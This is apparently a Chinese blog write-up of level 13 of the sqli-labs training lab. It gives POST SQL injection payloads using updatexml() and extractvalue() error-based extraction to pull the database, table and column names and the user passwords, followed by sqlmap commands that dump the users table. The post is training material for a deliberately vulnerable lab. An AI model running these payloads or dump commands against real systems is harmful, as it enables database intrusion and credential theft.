web——sqliabs靶场——第十三关——报错注入+布尔盲注

发现是单引号加括号闭合的

尝试联合注入

发现不太行,那尝试报错注入。

测试报错注入

uname=admin') and updatexml(1,0x7e,3) -- +&passwd=admin&submit=Submit

爆数据库

uname=admin') and updatexml(1,concat(0x7e,database(),0x7e),3) -- +&passwd=admin&submit=Submit

新学一个函数extractvalue()

extractvalue()

作用:对XML文档进行查询,相当于在HTML文件中用标签查找元素。
语法: extractvalue( XML_document, XPath_string )
参数1:XML_document是String格式,为XML文档对象的名称
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
报错原理:xml文档中查找字符位置是用/xxx/xxx/xxx/...这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如:XPATH syntax error:'xxxxxxxx'
最大只能显示32个字符,所以要配合limit进行使用

爆表名

uname=admin') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))-- +&passwd=admin&submit=Submit

通过更改limit后的值来获得表名

爆列名

uname=admin') and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 1,1)))-- +&passwd=admin&submit=Submit

更改limit后的值来得到

爆具体内容

uname=1')and updatexml(1,concat(0x7e,(select password from users limit 2,1)),3)#&passwd=admin&submit=Submit

布尔盲注

这个是post传参,和之前的不一样

用sqlmap的post传参来搞

1.用bp抓包,将抓包结果放在456.txt文件里

sqlmap -r 456.txt --batch -dbs

查询到数据库名

2.查询表名

sqlmap -r 456.txt --batch -tables -D security

3.查询列名

sqlmap -r 456.txt --batch -columns -D security -T users

4.查询数据

sqlmap -r 456.txt --batch -dump -D security -T users -C password,username

结束

相关推荐
雪芽蓝域zzs2 小时前
第 2 章:整合 MySQL + MyBatis,搭建数据库基础、实体类、Mapper、测试查询
数据库·mysql·mybatis
wljt18 小时前
公司二-面试题
java·开发语言·mybatis
VimorphTech21 小时前
文本已经改了,旧的音频生成结果还能回写吗?
java·数据库·mybatis
麻瓜code1 天前
双写一致性:为什么是“删缓存“,而不是“改缓存“
java·缓存·mybatis
郭小李2 天前
mybatis 动态 sql
java·sql·mybatis
知守观2 天前
技术考古:iBATIS 2.3.4 时代的持久层,是如何用 Map 玩转 307 个存储过程的?
java·后端·mybatis
captain3762 天前
MyBatis Plus(1)
java·服务器·mybatis
代码不停2 天前
MyBatis进阶
spring boot·mybatis
captain3763 天前
MyBatis(入门5)其他查询操作
java·数据库·spring boot·mybatis
captain3763 天前
MyBatis(进阶1)
mybatis